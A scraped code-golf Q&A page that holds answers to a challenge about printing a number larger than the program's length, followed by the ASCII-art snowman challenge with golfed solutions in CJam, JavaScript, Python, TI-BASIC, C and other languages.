'; }); var match = body.replace(/([^\\n<]*)<\\/sup>/g, \"^$1\").replace(/\\(\\d+(?:\\^\\d+,)? [\\w\\s]+\\)/g, \"\").replace(/floor\\(10\\^(\\d+)\\/9\\)/g, \"$1 ones\").replace(/(\\d+) ones/g, function (_, x) { return Array(+x + 1).join(1); }).match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2].replace(/,/g, \"\").replace(/(\\d+)\\s*\\^\\s*(\\d+)/, function (_, a, b) { return Math.pow(a, b); }).replace(/(\\d+)!/, function (_, n) { for (var i = 1, j = 1; i <= n; i++) j *= i; return j; }), language: match[1], link: a.share_link, }); else console.log(body); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery(\"#answer-template\").html(); answer = answer.replace(\"{{PLACE}}\", lastPlace + \".\") .replace(\"{{NAME}}\", a.user) .replace(\"{{LANGUAGE}}\", a.language) .replace(\"{{SIZE}}\", a.size) .replace(\"{{LINK}}\", a.link); answer = jQuery(answer); jQuery(\"#answers\").append(answer); var lang = a.language; lang = jQuery(''+lang+'').text(); languages[lang] = languages[lang] || {lang: a.language, lang_raw: lang.toLowerCase(), user: a.user, size: a.size, link: a.link}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.lang_raw > b.lang_raw) return 1; if (a.lang_raw < b.lang_raw) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery(\"#language-template\").html(); var lang = langs[i]; language = language.replace(\"{{LANGUAGE}}\", lang.lang) .replace(\"{{NAME}}\", lang.user) .replace(\"{{SIZE}}\", lang.size) .replace(\"{{LINK}}\", lang.link); language = jQuery(language); jQuery(\"#languages\").append(language); } }\n```\n```\n\n\n \n

Shortest Solution by Language

LanguageUserScore

Leaderboard

AuthorLanguageSize
{{PLACE}}{{NAME}}{{LANGUAGE}}{{SIZE}}Link
{{LANGUAGE}}{{NAME}}{{SIZE}}Link
\n```\n \n[Answer]\n## [Retina](https://github.com/mbuettner/retina/), score 1\n```\n```\nThe empty program counts the number of matches of the empty regex in the input (which is the empty string). That's exactly 1 match, so it prints `1`.\n[Try it online.](http://retina.tryitonline.net/#code=&input=)\n[Answer]\n# [Pyth](https://pyth.readthedocs.org/en/latest/index.html), 10\n```\nT\n```\nFirst attempt at using Pyth. Having had the question clarified, it seems 10 will be the smallest number. In Pyth the letter T starts off as the number 10, so this simply prints `10` which is larger than the length of the source code. You can [try it here](https://pyth.herokuapp.com/?code=T&debug=0).\n[Answer]\n# bc, 10\n```\nA\n```\nLuckily, `bc` prints the result of the last expression by default. `A` is interpreted as a hex digit, so results in `10`.\n[Answer]\n# Fishing, score ~~7,958,661,109,946,400,884,391,936~~ 1,208,925,819,614,629,174,706,176\nIs this the highest non-trivial-looking score ever in a minimization challenge? (Even though it has been golfed by 84.8%)\n```\nv+CCCCCCCCCC\n `32`nSSSSP\n```\n---\nExplanation\n```\nv Sets the casting direction to down\n + Increments the casting distance by 1\n CCCCCCCCCC Casts the rod\n`32` Pushes a string \"32\" to the stack\n n Converts the stack from a string to an integer\n SSSS Repeated squaring of the stack\n P Prints the stack\n```\nThe number is `32^16` and has 25 digits. The code is 24 bytes long. The previous answer was `6^32`.\n[Answer]\n# MATLAB, 1,000,000,000 (109)\nAlso works with **Octave**\n```\ndisp(1e9)\n```\nNever going to beat the esolangs, but just for fun, this is the smallest MATLAB/Octave will be able to do, so thought I would post it anyway.\n[Answer]\n# TI-84 BASIC, 120\n```\n5!\n```\n`ᴇ2` would score better if not for the silly UTF-8 requirement. (It's only two bytes in the calculator's native tokenized encoding, but it's 4 in UTF-8...)\n[Answer]\n# [Hexagony](https://github.com/mbuettner/hexagony), score 100100\nCode:\n```\nd!!@\n```\nIn a more readable form:\n```\n d !\n ! @ .\n . .\n```\nThe char value of `d` is 100. This will simply print the char value twice and terminates after.\n[Try it online!](http://hexagony.tryitonline.net/#code=IGQgIQohIEAgLgogLiAu&input=)\n[Answer]\n## C#, score ~~10^72~~ ~~10^70~~ ~~10^64~~ 10^63\n```\nclass A{static void Main(){System.Console.Write($\"1{0:D63}\");}}\n```\nThat's 1,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000,000. I guess that I tried...\n[Answer]\n## JavaScript, score 100,000,000,000 (or 1\\*1011)\n```\nalert(1e11)\n```\nThis is if using alert. Though you can get 100 000 000 times lesser score if using console:\n```\n1e3\n```\n[![](https://i.stack.imgur.com/PZ6NV.png)](https://i.stack.imgur.com/PZ6NV.png)\nScore 1000 as you can see, I'm not sure it counts using the console though.\n[Answer]\n# [PlatyPar](https://github.com/cyoce/PlatyPar), 59\n```\n#\n```\n`#` starts a numeric base-60 literal, and since no digits are found, it ends up as `59`. This started as a happy accident, but since I have already [ab]used this bug in [another answer](https://codegolf.stackexchange.com/a/66729/41042), I kept it.\n[Try it online](https://rawgit.com/cyoce/PlatyPar/master/page.html?code=%23)!\nHere's another approach, my take on the boring way that everyone and their grandmother used for this challenge.\n# [PlatyPar](https://github.com/cyoce/PlatyPar), 100000000 (9 digits)\n```\n'18Md0+;\n```\nExplanation\n```\n'1 ## push \"1\" (a string) to the stack\n 8Md ; ## repeat 8 times\n 0+ ## add a 0\n ## [implicitly] print the result\n```\n[Try it online](https://rawgit.com/cyoce/PlatyPar/master/page.html?code=%2718Md0+%3B)!\n[Answer]\n# C, 1000000000000000000000000000 (28 digits)\n```\nmain(){printf(\"1%027d\",0);}\n```\nSimilar to my C++ answer, without the `#include `\n(Ignore the warning about missing declaration of `printf`. Thanks @Dennis)\nNewline would require an additional 2 bytes, using format `1%029d\\n`\n[Answer]\n# [Brainf\\*\\*k](http://www.muppetlabs.com/%7Ebreadbox/bf/), 11111111111111111111111111111111111 (~1e34)\nAnd another reduction:\n```\n+++++++[>+++++++>+<<-]>>[<.....>-]\n```\nWhich gives 35 consecutive 1's, or approximately 1e34.\n---\nA bit smaller still\n```\n++++++++[>++++++>+<<-]>+>+[<....>-]\n```\nGives 36 1's which is a number about 11% larger than 1e35.\n---\nThanks to @Martin Büttner for knocking off a couple of characters reducing the total output by a factor of 100 with this code (yields 1e36):\n```\n++++++[>++++++++>++<<-]>+.->[<...>-]\n```\n---\nMy old code (yields 1+e38):\n```\n++++++++[>++++++>++<<-]>+.->+++[<..>-]\n```\nI've been experimenting with esolangs out of boredom. This is the best I could do in BF. I wonder if it is possible to make it smaller?\nYou can try it online [here](http://esoteric.sange.fi/brainfuck/impl/interp/i.html).\n[Answer]\n## [Japt](http://ethproductions.github.io/japt/), score 10\n```\nA\n```\nAs shows the score, prints 10.\n[Answer]\n## Python 2, 101010101010\n```\nprint'10'*6\n```\n[Answer]\n## PHP, score 10,000,000\n```\n+>+<<-----]>-[-->.<]\n```\n23 bytes long.\n[Answer]\n## [Labyrinth](https://github.com/mbuettner/labyrinth), score 10,000,000\n```\n1!!!!>@\n```\nIt might be possible to bring this down by one order of magnitude, but I can't find anything right now. \nThe first `1!!!!` prints `1000`. Then `>` shifts the source code to\n```\n@1!!!!>\n```\nwhich avoids early termination. Then the IP hits a dead end and turns around. Now `!!!!` prints four more zeroes and `@` terminates the program.\n[Try it online.](http://labyrinth.tryitonline.net/#code=MSEhISEKQA&input=)\n[Answer]\n# [Samau](https://github.com/AlephAlpha/Samau), 42\n```\nA\n```\n`A` pushes the Answer to the Ultimate Question of Life, The Universe, and Everything onto the stack. Then the top of the stack is automatically printed.\n[Answer]\n# [DC](https://rosettacode.org/wiki/Category:Dc), 10000\n4 chars program:\n```\nI4^f\n```\n5 digits output:\n```\n$ dc<<<'I4^f'\n10000\n```\n[Answer]\n# [Vitsy](https://github.com/VTCAKAVSMoACE/Vitsy), 7! = 5040\n```\n7FN\n```\nOutputs 5040.\n[Try it online!](http://vitsy.tryitonline.net/#code=N0ZO&input=)\n[Answer]\n# C, 11111111111111111111111111111111111 (35 ones)\n```\nmain(c){while(c++<36)putchar(49);}\n```\nMaybe there's a shorter way. The lack of a simple way to print big numbers in C makes it tricky.\n[Answer]\n# CJam, score 10\n```\nA\n```\n[Try it online!](http://cjam.tryitonline.net/#code=QQ&input=)\n[Answer]\n## Python 2, 107918163081\n```\nprint 69**6\n```\n[Answer]\n# Java, 111111111111111111111111111111111111111111111111111111111111111111111111111111111 (81 ones)\n```\ninterface A{static void main(String[]a){for(A i:new A[81])System.out.print(1);}}\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n```\nI've underlined the part that is actually \"variable\" here; everything else is absolutely necessary for a working Java program.\nPresumably this is shorter than mucking around with Java's `BigInteger`.\n[Answer]\n# [Cubix](https://github.com/ETHproductions/cubix), 100100\n```\n@'dOu\n```\nCubix is a 2-dimensional, stack-based esolang. Cubix is different from other 2D langs in that the source code is wrapped around the outside of a cube.\n[Test it online!](https://ethproductions.github.io/cubix/?code=QCdkT3U=&input=&speed=3)\n## Explanation\nThe first thing the interpreter does is figure out the smallest cube that the code will fit onto. In this case, the edge-length is 1. Then the code is padded with no-ops `.` until all six sides are filled. Whitespace is removed before processing, so this code is identical to the above:\n```\n @\n' d O u\n .\n```\nNow the code is run. The IP (instruction pointer) starts out on the far left face, pointing east.\nThe first char the IP encounters is `'`, which pushes the next byte onto the stack; this byte is `d`, or `100`. Next is `O`, which outputs the top item (100) as an integer.\nThen the IP hits `u`, which turns it to the right, moves it forward, then turns it again. It switches to the bottom face pointing north, then rotates to the east. This wraps it to the `O` again, outputting 100, then up to `@` which terminates the program.\n[Answer]\n# [Jelly](http://github.com/DennisMitchell/jelly), score 120\n```\n5!\n```\nCalculates the factorial of 5. [Try it online!](http://jelly.tryitonline.net/#code=NSE&input=)\n[Answer]\n# [MATL](https://esolangs.org/wiki/MATL), 1000\n```\n1e3\n```\n*Note: [latest GitHub commit](https://github.com/lmendo/MATL/commit/77a5eba228ccedec8ac0d58d0f1842aba03858cc) of the compiler works on Octave as well as on Matlab.*\nThis interprets the number in scientific notation, and implicitly prints it, thus producing the output\n> \n> 1000\n> \n> \n> \n[Answer]\n# Perl, 1000000000\n```\nprint 1e9\n```\nStraightforward.\n[Answer]\n## C++, 1e46\n```\n#include \nmain(){printf(\"1%046d\",0);}\n```\nNewline would require an additional 2 bytes, using format \"1%048d\\n\"\n[Answer]\n# O, 10\n```\nA\n```\nApparently the score is the number we print!\n]"}}},{"rowIdx":39,"cells":{"text":{"kind":"string","value":"[Question]\n [\nHere is a simple [ASCII art](http://en.wikipedia.org/wiki/ASCII_art) snowman:\n```\n_===_\n(.,.)\n( : )\n( : )\n```\nLet's make him some friends. This will be the general pattern for our ASCII art snowpeople:\n```\n HHHHH\n HHHHH\nX(LNR)Y\nX(TTT)Y\n (BBB)\n```\nThe leading spaces and the parentheses are always the same for all snowpeople. The different letters represent sections of the pattern that can individually change. Each section has exactly four presets for what ASCII characters can fill it.\nBy mixing and matching these presets for all eight sections, we can make a variety of snowpeople. \n# All Presets\n(Notice that spaces are put on otherwise empty lines so the section shape is always correct.)\n### H is for Hat\n1. Straw Hat\n```\n \n_===_\n```\n2. Mexican Hat\n```\n ___ \n.....\n```\n3. Fez\n```\n _ \n /_\\ \n```\n4. [Russian Hat](http://en.wikipedia.org/wiki/Ushanka)\n```\n ___ \n(_*_)\n```\n### N is for Nose/Mouth\n1. Normal `,`\n2. Dot `.`\n3. Line `_`\n4. None\n### L is for Left Eye\n1. Dot `.`\n2. Bigger Dot `o`\n3. Biggest Dot `O`\n4. Closed `-`\n### R is for Right Eye\n(Same list as left eye.)\n### X is for Left Arm\n1. Normal Arm\n```\n \n<\n```\n2. Upwards Arm\n```\n\\\n \n```\n3. Downwards Arm\n```\n \n/\n```\n4. None\n```\n \n \n```\n### Y is for Right Arm\n1. Normal Arm\n```\n \n>\n```\n2. Upwards Arm\n```\n/\n \n```\n3. Downwards Arm\n```\n \n\\\n```\n4. None\n```\n \n \n```\n### T is for Torso\n1. Buttons `:`\n2. Vest `] [`\n3. Inward Arms `> <`\n4. None\n### B is for Base\n1. Buttons `:`\n2. Feet `\" \"`\n3. Flat `___`\n4. None\n# Challenge\nWrite a program that takes in an eight character string (via stdin or command line) in the format `HNLRXYTB`, where each letter is a digit from 1 to 4 that denotes which preset to use for the corresponding section of the snowperson. Print the full snowperson to stdout.\nFor example, the input `11114411` is the snowman at the top of the page. (First `1`: he has a straw hat, second `1`: he has a normal nose, etc.)\nAnother example, the snowperson for input `33232124`:\n```\n _\n /_\\\n\\(o_O)\n (] [)>\n ( )\n```\n# Details\n* Any amounts and combinations of leading/trailing spaces and leading/trailing newlines are allowed as long as...\n\t+ the snowperson has all their sections arranged correctly with respect to one another, and\n\t+ there are never more than 64 total whitespace characters (the general pattern is only 7×5, so you probably won't hit this limit).You don't need to print rows/columns of the pattern if they only contain whitespace. e.g. the empty line of the straw hat is not required.\n* You must use the ordering of the parts as they are given above.\n* Instead of a program, you may write a function that takes the digit string as an argument. The output should be printed normally or returned as a string.\n* You may treat the input as an integer instead of a string if preferred.\n# Scoring\nThe shortest code in bytes wins.\n***Bonus question:*** Which of the 65536 distinct snowpeople is your favorite?\n \n[Answer]\n# JavaScript ES6, 210 208 202 bytes\n```\ns=>` 0\n8(213)9\n4(6)5\n (7)`.replace(/\\d/g,p=>`_===_1 ___\n .....1 _\n /_\\\\1 ___\n (_*_)1,1.1_11.1o101-1.1o101-1<11/11>11\\\\11 : 1] [1> <1 1 : 1\" \"1___1 11\\\\11 11/11 `.split(1)[s[p>7?p-4:p]-1+p*4]||' ')\n```\nThis is an anonymous function; you use it by executing `([function code])('42232124')`. The most aggravating part of this was the arms, which take up 2 lines, so I had to include code for both top and bottom.\nThe Stack Snippet below has ungolfed, un-ES6-ified, commented code. And you can use it to easily test the code and try out different combinations. **Edit:** I'm having way too much fun with this. I've added several new features, including a way to generate a random snowman.\nThanks to Yair Rand for saving six bytes.\n```\nvar f=function(s){\n return' 0\\n8(213)9\\n4(6)5\\n (7)' // Start with a placeholder string with all the static components\n .replace(/\\d/g,function(p){ // Go through each placeholder number to replace it with its value\n // The massive string below holds all the possible body parts, separated by 1 for easy splitting.\n // The two at the end are for the top of the arms\n return'_===_1 ___\\n .....1 _\\n /_\\\\1 ___\\n (_*_)1,1.1_11.1o101-1.1o101\\\n-1<11/11>11\\\\11 : 1] [1> <1 1 : 1\" \"1___1 11\\\\11 11/11 '.split(1)\n [s[p>7?p-4:p]-1 // Get the value from the input string. If the current body part\n // is the top of the two-line arms (8 or 9), drop it down to 4 or 5\n // Subtract 1 to account for the 0-indexed array.\n +p*4] // multiply by 4 to skip to the relevant code\n ||' ' // To save bytes in the above string, spaces are empty strings, so replace them here\n })\n}\n// Code for the interactive version follows\n// http://codepen.io/hsl/pen/bdEgej\nfunction updateRadios(){$('input[type=\"radio\"]').each(function(){if($(this).is(\":checked\")){var t=$(this).data(\"p\"),i=$(this).data(\"v\");input[t]=i}}),inputS=input.join(\"\"),update()}var input=[],inputS=$(\"#code\").val(),update=function(){$(\"#p\").text(f(inputS)),$(\"#code\").val(inputS)};$('input[type=\"radio\"]').change(updateRadios),$(\"#code\").keyup(function(){inputS=$(this).val(),update()}),updateRadios(),$(\"#random\").click(function(){for(var t=0;8>t;t++)$(\"div:eq(\"+t+\") input:eq(\"+Math.floor(4*Math.random())+\")\").prop(\"checked\",!0);updateRadios()});\n```\n```\nbody{font-family:sans-serif}h2{font-size:18px;font-weight:400}label{display:block}div{display:inline-block;margin:0 10px}#code{width:70px}\n```\n```\n

Hat

Nose/mouth

Left eye

Right eye

Left arm

Right arm

Torso

Base


\n```\n[Answer]\n# CJam, ~~135~~ ~~134~~ ~~132~~ ~~130~~ ~~126~~ 125 bytes\n```\n0000000: 4e22285b200a5c225f2a295c2d2e2f6f2c3e4f3a3c3d5d225f  N\"([ .\\\"_*)\\-./o,>O:<=]\"_\n0000019: 2422dd7382d6bfab28707190992f240c362ee510262bd07a77  $\".s....(pq../$.6...&+.zw\n0000032: 08556de9dcdb566c676817c2b87f5ecb8bab145dc2f2f76e07  .Um...Vlgh....^....]...n.\n000004b: 22323536624b623224663d4e2f7b5f2c342f2f7d25723a7e2e  \"256bKb2$f=N/{_,4//}%r:~.\n0000064: 3d2828342423346222205f0a20222e2a6f6f736572372f4e2a  =((4$#4b\" _. \".*ooser7/N*\n```\nTo create the file on your machine, execute `xxd -r > snowman.cjam`, paste the reversible hexdump from above, press `Enter` and finally `Ctrl` + `D`.\nAlternatively, you can try the code online using the [CJam interpreter](http://cjam.aditsu.net/#code=N%22(%5B%20%0A%5C%22_*)%5C-.%2Fo%2C%3EO%3A%3C%3D%5D%22_%24%22%C3%9Ds%C2%82%C3%96%C2%BF%C2%AB(pq%C2%90%C2%99%2F%24%0C6.%C3%A5%10%26%2B%C3%90zw%08Um%C3%A9%C3%9C%C3%9BVlgh%17%C3%82%C2%B8%7F%5E%C3%8B%C2%8B%C2%AB%14%5D%C3%82%C3%B2%C3%B7n%07%22256bKb2%24f%3DN%2F%7B_%2C4%2F%2F%7D%25r%3A~.%3D((4%24%234b%22%20_%0A%20%22.*ooser7%2FN*&input=12222212).\n### Bonus\nMy favorite snowman is Olaf:\n```\n$ LANG=en_US cjam snowman.cjam <<< 12222212\n _===_\n\\(o.o)/\n ( : ) \n (\" \")\n```\n*Winter's a good time to stay in and cuddle, but put me in summer and I'll be a… happy snowman!*\n### Idea\nThe hex string\n```\ndd7382d6bfab28707190992f240c362ee510262bd07a7708\n556de9dcdb566c676817c2b87f5ecb8bab145dc2f2f76e07\n```\nencodes the possible choices for all parts of the snowman, including the fixed ones. Let's call this string **P**.\nTo decode it, we convert **P** (here treated as an array of integers) from base 256 to base 20 and replace each of the resulting integers by the corresponding character of the string **M**:\n```\n([ \n\"_*)\\-./o,>O:<=]\n```\nThis results in the string **T**:\n```\n/(_*_)\"_===_/....., /_\\ \n ,._\n-.oO\n-.oO\n   <\\  /\n   >/  \\\n    : ] [> <\n    : \" \"___\n ((()\n```\nThe first line encodes all hat choices, the last all fixed body parts. The other lines contain the 28 variable body parts.\nWe split **T** at linefeeds and divide the strings of the resulting array into four parts of equal length. Then, we read the input from STDIN, push the array of its digits in base 10 and select the corresponding elements of the split strings. We take advantage of the fact that arrays wrap around in CJam, so the element at index 4 of an array of length 4 is actually the first element. The last divided string does not correspond to any input, so it will get selected entirely.\nWe handle the hat by shifting the first element out of the resulting array. The index in **M** of first character, read as a base 4 number, reveals the number of spaces and underscores in the first line of the hat. We print those characters, a linefeed, a space and the remainder of the shifted string. Then, we push an additional linefeed on the bottom of the stack. \nFor the body parts, we concatenate the string corresponding to all of them. Let's call this string **S**. To assemble the body parts, we perform transliteration: we take each character of the string **M**, compute its index in **sort(M)** and replace it by the corresponding character of **S**. We take advantage of the fact that the transliteration operator automatically pads **S** to match the length of **sort(M)** by repeating the last character of **S** as many times as necessary.\nFinally, we divide the resulting string into substrings of length 7 and place a linefeed between each pair of substrings.\n### Code\nSuppose that the variables `M` and `P` contain the strings **M** and **P**.\n```\nN        e# Push a linefeed.\nM_$      e# Push M and a sorted copy.\nP256bKb  e# Push P and convert it from base 256 to base 20.\n2$       e# Push a copy of M.\nf=       e# Compute T by retrieving the proper chars from M.\nN/       e# Split T at linefeeds.\n{_,4//}% e# Divide each string into four substrings of equal length.\nr:~      e# Read a number from STDIN and push the array of its digits in base 10.\n.=       e# Get the corresponding chunks from T.\n((       e# Shift out the first string and that string's first character.\n4$#      e# Find its index in M.\n4b       e# Compute its digits in base 4.\n\" _\n \".*     e# Repeat the space and underscore that many times in place.\noo       e# Print the result and the shifted string.\ns        e# Flatten the remainder of the array. This pushes S.\ner       e# Perform transliteration.\n7/       e# Split into chunks of length 7.\nN*       e# Join using linefeeds.\n```\n[Answer]\n# CJam, 164 bytes\nGenerates the snowman left-to-right, top-to-bottom. This eliminates the need for any kind of string joining or repositioning operations, as I just leave every piece of the snowman on the stack. And then, due to the automatic stack dump at the end of programs:\n♫ *CJam wants to build a snowman!* ♫\n```\nq:Q;SS\"\n _===_,___\n ....., _\n  /_\\,___\n (_*_)\"',/0{Q=~(=}:G~N\" \\ \"4G'(\".oO-\"_2G\",._ \"1G@3G')\" / \"5GN\"< / \"4G'(\" : ] [> <   \"3/6G')\"> \\ \"5GNS'(\" : \\\" \\\"___   \"3/7G')\n```\n[Try it online.](http://cjam.aditsu.net/#code=q%3AQ%3BSS%22%0A%20_%3D%3D%3D_%2C___%0A%20.....%2C%20_%0A%20%20%2F_%5C%2C___%0A%20(_*_)%22'%2C%2F0%7BQ%3D~(%3D%7D%3AG~N%22%20%5C%20%224G'(%22.oO-%22_2G%22%2C._%20%221G%403G')%22%20%2F%20%225GN%22%3C%20%2F%20%224G'(%22%20%3A%20%5D%20%5B%3E%20%3C%20%20%20%223%2F6G')%22%3E%20%5C%20%225GNS'(%22%20%3A%20%5C%22%20%5C%22___%20%20%20%223%2F7G')&input=33232124)\n### Bonus\nThinking outside the box! `32443333` gives a snow(wo)man bride. You've gotta try a bit to see it, but there are the inward arms, fez + downwards arms = veil, and the head is actually in the fez/veil. The generally large form is the billowy dress, and the \"eyes\" and \"nose\" are folds in the dress.\n```\n   _\n  /_\\\n (-.-) \n/(> <)\\\n (___)\n```\nOther \"eye\" choices are a bit risqué...\n[Answer]\n# Python, ~~276~~ 289 bytes\n```\nV='.oO-'\ndef F(d):\n D=lambda i:int(d[i])-1\n print\"  \"+(\"\",\"___\",\" _ \",\"___\")[D(0)]+\"\\n \"+\\\n\"_. (=./_=._*=.\\\\__. )\"[D(0)::4]+\"\\n\"+\\\n\" \\\\  \"[D(4)]+\"(\"+V[D(2)]+',._ '[D(1)]+V[D(3)]+\")\"+\" /  \"[D(5)]+'\\n'+\\\n\"< / \"[D(4)]+\"(\"+\" ]> :    [< \"[D(6)::4]+\")\"+\"> \\\\ \"[D(5)]+\"\\n (\"+\\\n' \"_ : _  \"_ '[D(7)::4]+\")\"\n```\nThis code has 8 extra bytes(`\\`\\*4) for readability.\nBuilds the snowman up bit by bit.\n# Bonus\n`F(\"44444432\")` gives \"sleepy russian bear\":\n```\n  ___    \n (_*_)\n (- -)\n (> <)\n (\" \")\n```\n[Answer]\n# TI-BASIC, 397 bytes\n**Important:** If you want to test this out, download it from [here](https://www.dropbox.com/s/exwuo6zm9xsn7q6/SNOWMAN.8xp?dl=0) and send that file to your calculator. Do *not* try to copy the code below into TI-Connect CE's program editor or SourceCoder 3 or something to build and send it to your calculator; in TI-Connect's case, it'll say it has an invalid token. SC3 uses the backslash as a comment delimiter (`//` starts a comment in SC3; `/\\/`, though, will export as `//`) and so it won't export the arms and hat and such correctly, causing the program to both display the incorrect body parts and throw an ERROR:DOMAIN every now and then. Fun stuff!\n**Important #2:** I'm too lazy to fix the download at the moment, so when you transfer it to your calc, change the `7` on the third line from the bottom to `X+6`. The code below is fixed if you need to compare.\n```\nInput Str9\nseq(inString(\"1234\",sub(Str9,I,1)),I,1,length(Ans→L1\n\"      ___   _   ___ →Str1\n\"_===_..... /_\\ (_*_)→Str2\n\",._ →Str3\n\"•oO-→Str4\n\"<\\/ →Str5\n\">/\\ →Str6\n\" : ] [> <   →Str7\n\" : ¨ ¨___   →Str8\n\"Str1Str2Str3Str4Str5Str6Str7Str8→Str0\nFor(X,3,5\nOutput(X,2,\"(   )\nEnd\nL1\nOutput(3,3,sub(Str4,Ans(3),1)+sub(Str3,Ans(2),1)+sub(Str4,Ans(4),1\nAns(5\nOutput(4-(Ans=2),1,sub(Str5,Ans,1\nL1(6\nOutput(4-(Ans=2),7,sub(Str6,Ans,1\nL1-1\nFor(X,1,2\nOutput(X+3,3,sub(expr(sub(Str0,X+6,1)),1+3Ans(X+6),3\nOutput(X,2,sub(expr(sub(Str0,X,1)),1+5Ans(1),5\nEnd\n```\n**Bonus:** I'm particularly fond of `12341214`.\n```\n _===_\n (O.-)/\n<( : )\n (   )\n```\nSome notes:\n* It can definitely be golfed more, no question about that. I'm nearly positive that I can combine a majority, if not all, of the outputting into a single For( loop. Also, I'm pretty sure that I can merge some strings together.\n* In Str4 (the eyes) I use the \"plot dot\" (`[2ND] → [0]CATALOG → [3]θ → scroll down, it's between ﹢ (small plus) and · (interpunct)`) as opposed to a period so that the eyes don't line up with the comma, because that looks weird as hell.\n* In Str8 (base) I had to use a diaeresis (¨) instead of double quotes because there's no way to escape characters in TI-BASIC, and double quotes are used to start/end strings.\n* In TI-BASIC, there's no need to close parentheses and brackets if they're followed by a colon, newline or → (used for var assignment), and double quotes (strings) can stay unclosed when followed by a newline or →.\n[Answer]\n# Python 2, ~~354~~ ~~280~~ ~~241~~ 261 bytes\n```\ndef s(g):H,N,L,R,X,Y,T,B=[int(c)-1for c in g];e='.oO-';print(' '*9+'_ _ ___ _ _\\n\\n\\n\\n    _. (=./_=._*=.\\\\__. )')[H::4]+'\\n'+' \\\\  '[X]+'('+e[L]+',._ '[N]+e[R]+')'+' /  '[Y]+'\\n'+'< / '[X]+\"(\"+' ]> :    [< '[T::4]+')'+'> \\\\ '[Y]+'\\n ('+' \"_ : _  \"_ '[B::4]+\")\"\n```\nCalling `s('33232124')` gives:\n```\n   _ \n  /_\\ \n\\(o_O) \n (] [)>\n (   )\n```\nBut my favorites are `44242123` and `41341144`:\n```\n  ___      ___\n (_*_)    (_*_)\n\\(o -)    (O,-) \n (] [)>  <(   )>\n (___)    (   )\n```\n[Answer]\n# CJam, ~~150~~ 145 bytes\nBase convert **all** the things!\n```\n\"b8li'\nU9gN;|\"125:Kb8bl:~f=\"r  pL|P3{cR`@L1iT\"Kb21b\"G.HMtNY7VM=BM@$^$dX8a665V\"KbFb\"=_./ <[(*-oO,\\\":\"f=_\"/<[(\"\"\\>])\"er+4/f=.=7/N*\n```\nSE mangles unprintables, so [here](http://pastebin.com/J4eFVDtR) is a copy on Pastebin. Make sure you copy the \"RAW Paste Data\" part, not the part next to line numbers. You can [try it online](http://cjam.aditsu.net/#code=%22%02b8%11li%27%0A%07U9gN%3B%7C%22125%3AKb8bl%3A%7Ef%3D%22%02r%09pL%7CP3%19%7B%0EcR%60%40%1DL1i%07T%15%22Kb21b%22%01G%0F%1D.H%17M%13tNY7V%15M%3DBM%40%24%5E%08%24%1B%1EdX8a665V%22KbFb%22%3D_.%2F%20%3C%5B%28*-oO%2C%5C%22%3A%22f%3D_%22%2F%3C%5B%28%22%22%5C%3E%5D%29%22er%2B4%2Ff%3D.%3D7%2FN*&input=14441133), but the permalink may not work in some browsers.\n## Explanation\nThe `\"b8li'U9gN;|\"125:Kb8bp` part generates the array\n```\n[1 0 0 0 0 0 0 0 0 0 0 0 0 0 4 0 2 1 3 0 5 4 0 6 6 6 0 5 0 0 7 7 7 0]\n```\nwhich maps each digit of the input to where the digit is used. Anything which is common to all inputs (e.g. leading spaces and `()`) is arbitrarily assigned a 0, except the first which is assigned 1 so that base convert can work.\n`l:~f=` then converts each digit to an int and maps accordingly, e.g. for `14441133` we get\n```\n[2 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 2 4 1 2 1 1 3 3 3 1 2 1 1 4 4 4 1]\n```\n`\"G.HMtNY7VM=BM@$^$dX8a665V\"KbFb\"=_./ <[(*-oO,\\\":\"f=` gives the string\n```\n\"_=./  /  < /  [<(((((_. _ _     _ __*=._-.oO ,._  \\\"_ :   : _\"\n```\nafter which we duplicate, replace `/<[(` with `\\>])` and append to give a long string. Then we split the string into groups of 4 and map according to another array `\"r pL|P3{cR`@L1iT\"Kb21b`, thus getting an array of length-4 strings describing all possible options at each cell (e.g. `_=./` is all possible options for the second character on the second line, starting from the Russian hat).\nFinally we map the options to the inputs accordingly `.=`, split into rows of length 7 `7/` and riffle in some newlines `N*`.\n## Test runs\n```\n11111111\n _===_ \n (.,.) \n<( : )>\n ( : )\n22222222\n  ___  \n ..... \n\\(o.o)/\n (] [) \n (\" \")\n33333333\n   _   \n  /_\\  \n (O_O) \n/(> <)\\\n (___)\n44444444\n  ___  \n (_*_) \n (- -) \n (   ) \n (   )\n```\n[Answer]\n# C, ~~280 272~~ 264 bytes\nOnly partially golfed at this point, but this is a fun challenge. \n```\n#define P(n)[s[n]&3],\nf(char*s){printf(\"  %.3s\\n %.5s\\n%c(%c%c%c)%c\\n%c(%.3s)%c\\n (%.3s)\",\n\"___   ___ _\"+*s%4*3,\"(_*_)_===_..... /_\\\\\"+*s%4*5,\"  \\\\ \"P(4)\"-.o0\"P(2)    \n\" ,._\"P(1)\"-.o0\"P(3)\"  /\"P(5)\" < /\"P(4)\"    : ] [> <\"+s[6]%4*3,\" > \\\\\"P(5)\n\"    : \\\" \\\"___\"+s[7]%4*3);}\n```\n(With some extra \\n for readability.) I expect the `define` should go away with further golfing.\nA more readable version is\n```\n#define P(n)[s[n]&3],\nf(char *s) {\n  printf(\"  %.3s\\n\"\n         \" %.5s\\n\"\n         \"%c(%c%c%c)%c\\n\"\n         \"%c(%.3s)%c\\n\"\n         \" (%.3s)\",\n         \"___   ___ _\"+*s%4*3,                  /* Top of hat. */\n         \"(_*_)_===_..... /_\\\\\"+*s%4*5,         /* Lower hat. */\n         \"  \\\\ \"P(4)                            /* Upper left arm. */\n         \"-.o0\"P(2)                             /* Left eye. */\n         \" ,._\"P(1)                             /* Nose. */\n         \"-.o0\"P(3)                             /* Right eye. */\n         \"  /\"P(5)                              /* Upper right arm. */\n         \" < /\"P(4)                             /* Lower left arm. */\n         \"    : ] [> <\"+s[6]%4*3,               /* Torso. */\n         \" > \\\\\"P(5)                            /* Lower right arm. */\n         \"    : \\\" \\\"___\"+s[7]%4*3              /* Base. 